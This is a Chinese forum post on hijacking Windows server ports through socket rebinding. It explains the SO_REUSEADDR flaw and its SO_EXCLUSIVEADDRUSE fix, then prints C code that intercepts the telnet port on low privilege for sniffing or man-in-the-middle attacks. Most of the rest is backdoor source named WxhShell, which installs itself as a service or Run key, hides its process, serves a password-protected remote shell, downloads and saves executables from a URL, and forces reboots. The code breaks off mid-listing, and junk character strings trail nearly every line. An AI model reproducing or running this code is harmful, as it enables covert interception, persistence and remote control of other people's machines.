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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [>%xd)8.c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +sUFv)!4  
!~D}/Q;#}\  
  saddr.sin_family = AF_INET; t*T2Z-!P  
}m;,Q9:+m^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o-OHjFfB  
iv;Is[<o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M`i\VG  
{I#]@,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mFaZio0GK  
D(RTVef  
  这意味着什么?意味着可以进行如下的攻击: ^y1j.M@q  
(/j/>9iro  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O7<]U_"I  
.1Al<OLL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [t@Mn  
&wCg\j_c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K[r^'P5m  
>X4u]>X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F!Q@ u  
 jQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &Ao+X=qw  
?ztkE62t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dCk3;XU  
n}G|/v<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FZ,#0ZYJGP  
8UyMVY  
  #include X_|J@5b7  
  #include +M$Q =6/  
  #include ;n=.>s*XL'  
  #include    HxK80mJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ` a/%W4  
  int main() t@N=kV  
  { @u]rWVy;\[  
  WORD wVersionRequested; \$e)*9)  
  DWORD ret; Xudg2t)+K  
  WSADATA wsaData; _p&]|~a  
  BOOL val; ZR]25Yy  
  SOCKADDR_IN saddr; )~] (&  
  SOCKADDR_IN scaddr; NzOo0tz:  
  int err; IS 2^g>T#1  
  SOCKET s; <_tT<5'[$u  
  SOCKET sc; D (m j7oB  
  int caddsize; ;y\IqiA{o  
  HANDLE mt; 4.=3M  
  DWORD tid;   cy3B({PLy  
  wVersionRequested = MAKEWORD( 2, 2 ); cK i m-  
  err = WSAStartup( wVersionRequested, &wsaData ); K3;nY}\>  
  if ( err != 0 ) { sOJQ,"sB  
  printf("error!WSAStartup failed!\n"); !&/{E [  
  return -1; *HO}~A%Lx  
  } dA0.v+Foz"  
  saddr.sin_family = AF_INET; @EpIh&  
   X+S9{X#Cm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O_ DtvjI'  
6%Pdy$ P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "C19b:4H  
  saddr.sin_port = htons(23); |J} Mgb-4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  L0@SCt  
  { s4SG[w!d  
  printf("error!socket failed!\n"); 9qz6]-K  
  return -1; 7~aM=8r  
  } I@%t.%O Jp  
  val = TRUE; >JCM.I0_|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3`.7<f`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2.zsCu4lj.  
  { +W\f(/q0  
  printf("error!setsockopt failed!\n"); /8g^T")  
  return -1;  Q&g^c2  
  } d%,eZXg'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WKIoS"?-F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7cO n9fIE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U($dx.`v#  
{(wHPzq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nkl_Ho,  
  { @$c\d vO  
  ret=GetLastError(); W"'iIh)z `  
  printf("error!bind failed!\n"); !l 1fIc  
  return -1; F\k+[`%{  
  } hn=[1<#^(  
  listen(s,2); Vq;A>  
  while(1) ,7NZu0  
  { .0rh y2  
  caddsize = sizeof(scaddr); ?1$fJ3  
  //接受连接请求 $UCAhG$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \lC   
  if(sc!=INVALID_SOCKET) oMTf"0EIW  
  { JJ'.((  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *B{j.{ p(  
  if(mt==NULL) @reeO=  
  { C@W"yYt  
  printf("Thread Creat Failed!\n"); aKuSd3E@#  
  break; h{p=WWK  
  } >ByXB!Wi+  
  } ``e$AS  
  CloseHandle(mt); *nsAgGKKM^  
  } ]=";IN:SU  
  closesocket(s); GBFtr   
  WSACleanup(); D] ~MC  
  return 0; _DNHc*  
  }    KiOcu=F  
  DWORD WINAPI ClientThread(LPVOID lpParam) :WL'cJ9a  
  { meks RcF  
  SOCKET ss = (SOCKET)lpParam; mPP`xL?T  
  SOCKET sc; F[[TWf/  
  unsigned char buf[4096]; 5~WGZc  
  SOCKADDR_IN saddr; I{ :(z3  
  long num; .j>hI="b  
  DWORD val; /&{$ pM|?  
  DWORD ret; HnCzbt@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m"jV}@agX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ) ^3avRsC  
  saddr.sin_family = AF_INET; $Gv9m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /BV03B  
  saddr.sin_port = htons(23); x61U[/r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <_Q:'cx'  
  { hq/k*;  
  printf("error!socket failed!\n"); MxcFvo*LCp  
  return -1; 5N*Ux4M  
  } 7=OQ8IM !  
  val = 100; H4!+q:<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /E5 5Pec  
  { ~\3kx]^10  
  ret = GetLastError(); Z(_ZAB%+D  
  return -1; $N=N(^  
  } ;cz|ss=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ox'/` Mppw  
  { JPWOPB'H  
  ret = GetLastError(); ~JD nKo  
  return -1; `zt_7MD  
  } z,:a8LB#[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6 ]pX>Xho  
  { -7&Gi +]  
  printf("error!socket connect failed!\n"); D<X.\})Md  
  closesocket(sc); R% ,<\d7  
  closesocket(ss); ZwerDkd  
  return -1; NDAw{[.%  
  } e$uiJNS2  
  while(1) UNi`P9D]3  
  { "0k8IVwp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u% n*gcY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b-*3 2Y%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^ Dt#$Z  
  num = recv(ss,buf,4096,0); lmSo8/%T  
  if(num>0) \3jW~FV  
  send(sc,buf,num,0); 9{8GP  
  else if(num==0) pOkLb #  
  break; JiU9CeD3  
  num = recv(sc,buf,4096,0); dG71*)<)t  
  if(num>0) }sFm9j7yR  
  send(ss,buf,num,0); Iu *^xn  
  else if(num==0) {]]|5 \F  
  break; m&iH2|  
  } :C8$Xi_i}  
  closesocket(ss); "y<?Q}1  
  closesocket(sc); $Qy7G{XJ[^  
  return 0 ; T,OwM\`.X{  
  } -tI'3oT1  
-}6xoF?  
d/e|'MPX  
========================================================== LJTQaItdqJ  
d{de6 `  
下边附上一个代码,,WXhSHELL 1G'`2ATF*  
%9#gB  
========================================================== :BGA.  
D\YE^8/  
#include "stdafx.h" @M8|(N%  
T}=>C+3r  
#include <stdio.h> \Ro^*4B  
#include <string.h> BiZ=${y  
#include <windows.h> z|(+|pV(  
#include <winsock2.h> ii0Ce}8d~  
#include <winsvc.h> wB{;bB{  
#include <urlmon.h> /Y2/!mU</  
F[!ckes<bB  
#pragma comment (lib, "Ws2_32.lib") 3u\;j; Td!  
#pragma comment (lib, "urlmon.lib") k%op> &  
v^7LctcVm  
#define MAX_USER   100 // 最大客户端连接数 EK$Kee}~  
#define BUF_SOCK   200 // sock buffer vHE^"l5v  
#define KEY_BUFF   255 // 输入 buffer K!mOr  
b]JI@=s?  
#define REBOOT     0   // 重启 J!*/a'Cv  
#define SHUTDOWN   1   // 关机 NCf"tK'5n  
,xT?mt}P  
#define DEF_PORT   5000 // 监听端口 e%>b+ Sv  
A[YpcG'9  
#define REG_LEN     16   // 注册表键长度 l@hjP1o  
#define SVC_LEN     80   // NT服务名长度 mG1 IQ!  
@MK"X}3  
// 从dll定义API %,*G[#*&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nD2, !71  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wi}FY }f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9cv]y#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TV}}dw  
z>[tF5  
// wxhshell配置信息 <_./SC  
struct WSCFG { ;!T{%-tP  
  int ws_port;         // 监听端口 uGl| pJ\y=  
  char ws_passstr[REG_LEN]; // 口令 y9|K|xO[  
  int ws_autoins;       // 安装标记, 1=yes 0=no *X38{r j  
  char ws_regname[REG_LEN]; // 注册表键名 **[Z^$)u(  
  char ws_svcname[REG_LEN]; // 服务名 =4 X]gW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^R$'eG 4L?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fXQiNm[P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;*[9Q'lI*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p=QYc)3F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $,hwU3RVxc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [ &qA\  
+"g~"<  
}; sF+=KH  
7a$ G@  
// default Wxhshell configuration b( ^^m:(w  
struct WSCFG wscfg={DEF_PORT, swc@34ei\  
    "xuhuanlingzhe", 9(!]NNf!  
    1, cDXsi#Raj  
    "Wxhshell", O8N[Jl  
    "Wxhshell", ehAu^^Q>  
            "WxhShell Service", HZ*0QgW\(5  
    "Wrsky Windows CmdShell Service", vG2b:[W  
    "Please Input Your Password: ", <39!G7ny  
  1, lKEa)KF[  
  "http://www.wrsky.com/wxhshell.exe", Y#01o&f0n  
  "Wxhshell.exe" 8)\M:s~7&  
    }; qOG}[%<^n7  
,goBq3[%?  
// 消息定义模块 7> Pgc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vVs#^"-nW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /LQ:Sv7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $YG1z  
char *msg_ws_ext="\n\rExit."; zG c[Z3N  
char *msg_ws_end="\n\rQuit."; ?&l)W~S  
char *msg_ws_boot="\n\rReboot..."; 7nHTlI1 b  
char *msg_ws_poff="\n\rShutdown..."; g9my=gY  
char *msg_ws_down="\n\rSave to "; 4rU! 4l  
G7* h{nE  
char *msg_ws_err="\n\rErr!"; em]xtya  
char *msg_ws_ok="\n\rOK!"; &4$oudn  
WO,xMfK  
char ExeFile[MAX_PATH]; K.SeK3(  
int nUser = 0; y^FOsr  
HANDLE handles[MAX_USER]; _hCJ|Rrln  
int OsIsNt; 8Vt4HD08  
qSO*$1i  
SERVICE_STATUS       serviceStatus; 5QWNZJ&}d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,dd WBwMK  
aN^IP  
// 函数声明 hGP1(pH.  
int Install(void); s([Wn)I  
int Uninstall(void); <2P7utdZ  
int DownloadFile(char *sURL, SOCKET wsh); )8{6+{5lu  
int Boot(int flag); |Zq\GA  
void HideProc(void); xNN@1P[*  
int GetOsVer(void); hWcTI{v  
int Wxhshell(SOCKET wsl); i.rU&yT%  
void TalkWithClient(void *cs); z4} %TT@^  
int CmdShell(SOCKET sock); hPufzhT  
int StartFromService(void); O=jN&<rb  
int StartWxhshell(LPSTR lpCmdLine); h#3m4<w(9  
f(u&XuZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]RFdLV?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g<[rH%\6fg  
5z]\$=TE  
// 数据结构和表定义 $ehg@WK}.  
SERVICE_TABLE_ENTRY DispatchTable[] = F$hZRZ  
{ Ud3""C5B  
{wscfg.ws_svcname, NTServiceMain}, GH3#E*t+[  
{NULL, NULL} Qp!Y.YnPd_  
}; *PM}"s  
H|+tC=]4IZ  
// 自我安装 5iWe-xQ>  
int Install(void) Qm);6X   
{ C;sgK  
  char svExeFile[MAX_PATH]; YlUpASW  
  HKEY key; <FmBa4ONU  
  strcpy(svExeFile,ExeFile); XS0V:<+,  
{~GR8 U  
// 如果是win9x系统,修改注册表设为自启动 GF R!n1Hv  
if(!OsIsNt) { u;n(+8sz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1| xN%27>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \mXqak,y  
  RegCloseKey(key); }h~'AM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / = ^L iP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xtJAMo>g  
  RegCloseKey(key); _IYY08&(r  
  return 0; t>U!Zal"  
    } u3wL<$2[8  
  } X7e/:._SAH  
} sA_X<>vAKJ  
else { R[ yL _>  
z Z%/W)t  
// 如果是NT以上系统,安装为系统服务 Uh+jt,RB`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zeTszT)  
if (schSCManager!=0) 5L &:_iQZy  
{ AA7#c7  
  SC_HANDLE schService = CreateService aii'}c  
  ( BQ#jwu0e  
  schSCManager, *:QXz<_x+  
  wscfg.ws_svcname, piu0^vEEH  
  wscfg.ws_svcdisp, 8!j=vCv  
  SERVICE_ALL_ACCESS, $'$>UFR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R|t;p!T  
  SERVICE_AUTO_START, #,P(isEZ"  
  SERVICE_ERROR_NORMAL, Gj`f--2GE  
  svExeFile, Ve14rn  
  NULL, MYTS3(  
  NULL, `D)S-7BR  
  NULL, KF$%q((  
  NULL, R]=SWE}U  
  NULL d[U1.SNL  
  ); 5<r)+?!n  
  if (schService!=0) a paIJ+^[  
  { ? -{IsF^  
  CloseServiceHandle(schService); )[DpK=[N^p  
  CloseServiceHandle(schSCManager); cMtJy"kK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mw|SH;nM  
  strcat(svExeFile,wscfg.ws_svcname); v@,XinB[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ' PL_~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M,L@k  
  RegCloseKey(key); 3*\8p6G  
  return 0; i;HH ! TaN  
    } t~~r-V":  
  } kGj]i@(PA4  
  CloseServiceHandle(schSCManager); 8OBF^r44R  
} g*r/u;  
} W]~ZkQ|P  
2;R/.xI6v  
return 1; B'/Icg.T  
} X)NWX9^;'  
$9m5bQcV  
// 自我卸载 htg'tA^CtS  
int Uninstall(void) <tQXK;  
{ 83xd@-czgh  
  HKEY key; z9fNk%  
T`mEO\f  
if(!OsIsNt) { 7 FIFSt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6)+9G_  
  RegDeleteValue(key,wscfg.ws_regname); &"O_wd[+:  
  RegCloseKey(key); 4I1K vN<A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zr R+QV  
  RegDeleteValue(key,wscfg.ws_regname); I~'gK8<e7  
  RegCloseKey(key); *p"O*zj  
  return 0; _6J<YQK  
  } :b,o B==%  
} [Z% l.  
} FP@ A;/c  
else { t*rp3BIG  
/W``LK>;?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }*OD M6  
if (schSCManager!=0) 4Q/r[x/&C  
{ A<;0L . J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I &cX8Tw  
  if (schService!=0) 9`,,%vdj  
  { C*]AL/  
  if(DeleteService(schService)!=0) { ,FS?"Ni  
  CloseServiceHandle(schService); T*p|'Q`  
  CloseServiceHandle(schSCManager); _dY:)%[]  
  return 0; ],$6&Cm  
  } =yo=q)W  
  CloseServiceHandle(schService); 4&H+hN{3  
  }  TVj1C  
  CloseServiceHandle(schSCManager); gBfX}EK7F  
} }P16Xb)p  
} ! 7Nn ]Lx  
/;b.-v&  
return 1; x1:vUHwC  
} lW&[mnR  
wbl ${@4  
// 从指定url下载文件 8\P JSr  
int DownloadFile(char *sURL, SOCKET wsh) i:R!T,  
{ "{mt?  
  HRESULT hr; )ZviS.  
char seps[]= "/"; [6tR&D #K  
char *token; G@;Nz i89  
char *file; Sq.9-h%5  
char myURL[MAX_PATH]; *j/ uihY  
char myFILE[MAX_PATH]; M44_us  
?TRW"%  
strcpy(myURL,sURL); mMga"I9  
  token=strtok(myURL,seps); MyK^i2eD  
  while(token!=NULL) dzpj9[  
  { ~igRg~k:/  
    file=token; _J +]SNk  
  token=strtok(NULL,seps); il=?of\,i  
  } '/n\Tg+  
Xk 5oybDI  
GetCurrentDirectory(MAX_PATH,myFILE); @_G` Ok4  
strcat(myFILE, "\\"); rK*hTjVn  
strcat(myFILE, file); m]E o(P4+  
  send(wsh,myFILE,strlen(myFILE),0); , &-S?|  
send(wsh,"...",3,0); }#YIl@E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VvzPQk  
  if(hr==S_OK) sn2r >m3  
return 0; yo'q[YtP'  
else gt#MeU  
return 1; Cq TH!'N  
]w5ji  
} 1 VPg`+o  
U<1}I.hDJ  
// 系统电源模块 +'!h-x1y~  
int Boot(int flag) :17ee  
{ }3bQ>whF  
  HANDLE hToken; K lPm=  
  TOKEN_PRIVILEGES tkp; U$MWsDn   
?< -wHj)  
  if(OsIsNt) { Y=PzN3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oM/B.U2a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~:R4))qpg  
    tkp.PrivilegeCount = 1; mxtlr)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Rc;1Sm9\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ]v/t8`  
if(flag==REBOOT) { r[Zg 2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {\ A_%  
  return 0; ^[k6]1h  
} K'>P!R:El  
else { l!xgtP K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IEKMa   
  return 0; C!CaGf=  
} Fmy1nZ   
  } ABd153oW"  
  else { 8JQ<LrIt9  
if(flag==REBOOT) { JDIz28Ww  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VGq{y{(  
  return 0; zS&7[:IRs'  
} =>E44v  
else { 2 rbX8Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [YL sEo=  
  return 0; WBIQ%XB'  
} {"qW~S90YO  
} V3aY]#Su  
B3ohHxHu  
return 1; (!^N~ =e;  
} eh8<?(eK  
s|Imz<IE  
// win9x进程隐藏模块 S(q4OQ B{  
void HideProc(void) e7)>U!9c9  
{ j@kRv@  
0j-F6a*p'1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VQZT.^  
  if ( hKernel != NULL ) 1\"BvFE*E~  
  { n^g-`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d %F/,c-=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !XG/,)A  
    FreeLibrary(hKernel); { &6l\|  
  } [346w <  
Th I  
return; $D0)j(v  
} 0B#rqTEKu  
 mP`,I"u  
// 获取操作系统版本 #t5JUi%in*  
int GetOsVer(void) >d1aE)?  
{ _dH[STT  
  OSVERSIONINFO winfo; |\yDgs%EGy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7z0;FW3>9  
  GetVersionEx(&winfo); uWM4O@Qn)d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?w|\ 7T.?  
  return 1; URj% J/jD  
  else "N=&4<]I5  
  return 0; :6HiP&<  
} z^SN#v$  
Au\ =ypK  
// 客户端句柄模块 K~9 jin  
int Wxhshell(SOCKET wsl) am)J'i,  
{ j$JV(fz  
  SOCKET wsh; G5X|JTzpu<  
  struct sockaddr_in client; g/J^K*3]  
  DWORD myID; }J4BxBuV8  
|iF1 A  
  while(nUser<MAX_USER) H f`&&  
{ l.Lc]ZpB  
  int nSize=sizeof(client); {#d`&]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jf8'N ot  
  if(wsh==INVALID_SOCKET) return 1; Tk2&{S"  
PhI{3B/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f(zuRM^5  
if(handles[nUser]==0) >ZOZv  
  closesocket(wsh); ;9- 4J  
else 's%ct}y\J  
  nUser++; ir1RAmt%  
  } }T^v7 LY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h;mQ%9 Yd  
rkER`  
  return 0; jw6ng>9  
} d,E/9y\e  
kB!M[[t  
// 关闭 socket aNh1e^j  
void CloseIt(SOCKET wsh) ygu?w7  
{ '~!l(&X  
closesocket(wsh); +&@l{x(,  
nUser--; RM / s :  
ExitThread(0); xf3/<x!B  
} jDkc~Wwa  
vzgudxG'z  
// 客户端请求句柄 pQ6t]DJ4  
void TalkWithClient(void *cs) V0wC@?  
{  &~f*q?xR  
*? orK o  
  SOCKET wsh=(SOCKET)cs; ABS BtH ?  
  char pwd[SVC_LEN]; Mz#S5 s  
  char cmd[KEY_BUFF]; o::ymAj  
char chr[1]; z8rh*Rfxd  
int i,j; \ { E;u'F  
gJ}'O4*b  
  while (nUser < MAX_USER) { ;L/T}!Dx  
m'vOFP)'  
if(wscfg.ws_passstr) {  I$sm5oL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EXScqGa]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OYCFx2{  
  //ZeroMemory(pwd,KEY_BUFF); ,4?|}xg  
      i=0; u8)r W  
  while(i<SVC_LEN) { ;z=C^'  
?R~Ye  
  // 设置超时 yW7S }I  
  fd_set FdRead; Y)-)NLLG;n  
  struct timeval TimeOut; P+ h<{%:*  
  FD_ZERO(&FdRead); l2_E6U"  
  FD_SET(wsh,&FdRead); 5&7?0h+I  
  TimeOut.tv_sec=8; fn"jYSy  
  TimeOut.tv_usec=0; M<me\s)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 41_sSqq;^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kv FOk  
7G #e~,M5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]k%KTvX*G  
  pwd=chr[0]; pJ@DHj2@  
  if(chr[0]==0xd || chr[0]==0xa) { ?. 'oxW  
  pwd=0; rD)v%vvr&`  
  break; ?VHwYD.B  
  } 5v03<m0`y  
  i++; AhFI, x  
    } X2mm'J DwK  
.J! $,O@  
  // 如果是非法用户,关闭 socket %EhU!K#[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )#TJw@dNf^  
} ?&bVe__  
EYj2h .k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hdWp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g 0_r  
\< +47+  
while(1) { pHbguoH,  
3lEU$)QA3  
  ZeroMemory(cmd,KEY_BUFF); Gt *<?  
,'0oj$~S:  
      // 自动支持客户端 telnet标准   N`^W*>XB  
  j=0; KPvYq?F>4  
  while(j<KEY_BUFF) { _1bd)L&dF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m##z  
  cmd[j]=chr[0]; HK4`@jYQ  
  if(chr[0]==0xa || chr[0]==0xd) { XhkL)) FcG  
  cmd[j]=0; (E]K)d  
  break; IpVwnNj!}  
  } pt;Sk?-1  
  j++; Gb)iB  
    } Ud?d.  
mI*>7?  
  // 下载文件 vxfh1B&  
  if(strstr(cmd,"http://")) { #]hkQo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LfSU Y  
  if(DownloadFile(cmd,wsh)) ]d;/6R+Vs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RIpq/^Th  
  else OX`GN#yl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * =N 6_  
  } Y:Tt$EQ  
  else { :jp$X|  
"S} hcAL/  
    switch(cmd[0]) { +mF 2yh  
  aD`e]K ^L  
  // 帮助 zEL[%(fnc  
  case '?': { Ljs(<Gm)-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p%qL0   
    break; B=xZkc  
  } &K*_/Q '\  
  // 安装 ATkqzE`;  
  case 'i': { PqeQe5  
    if(Install()) 2PW3 S{Dt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .aRxqFi_  
    else 1;9E*=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uy%PTi+A  
    break; s+t eYL#Zi  
    } F4l6PGxF&\  
  // 卸载 QU;C*}0Zl  
  case 'r': { K&oO+G^f  
    if(Uninstall()) {.)~4.LhQM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1TZ+ \  
    else .-*nD8b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^]K)V  
    break; VL1z$<vVXt  
    } @"5u~o')@v  
  // 显示 wxhshell 所在路径 ^IZ0M1&W;  
  case 'p': { AR2+W^aM3  
    char svExeFile[MAX_PATH]; cLF>Jvs*J  
    strcpy(svExeFile,"\n\r"); J(*"S!q)6  
      strcat(svExeFile,ExeFile); jpS#'h  
        send(wsh,svExeFile,strlen(svExeFile),0); q.tL'  
    break; #>oO[uaY  
    } Hs!CJ(0"y  
  // 重启 C#cEMKa  
  case 'b': { <GR:5pJ%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r+yLK(<zp  
    if(Boot(REBOOT)) .Cd$=v6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HC}C_Q5c91  
    else { b%$C!Tq'  
    closesocket(wsh); |"*:ZSj  
    ExitThread(0); Sgy~Z^  
    } JFkjpBS  
    break; aDEP_b;  
    }  'Z}$V*  
  // 关机 0Jif.<  
  case 'd': { zW&W`(  
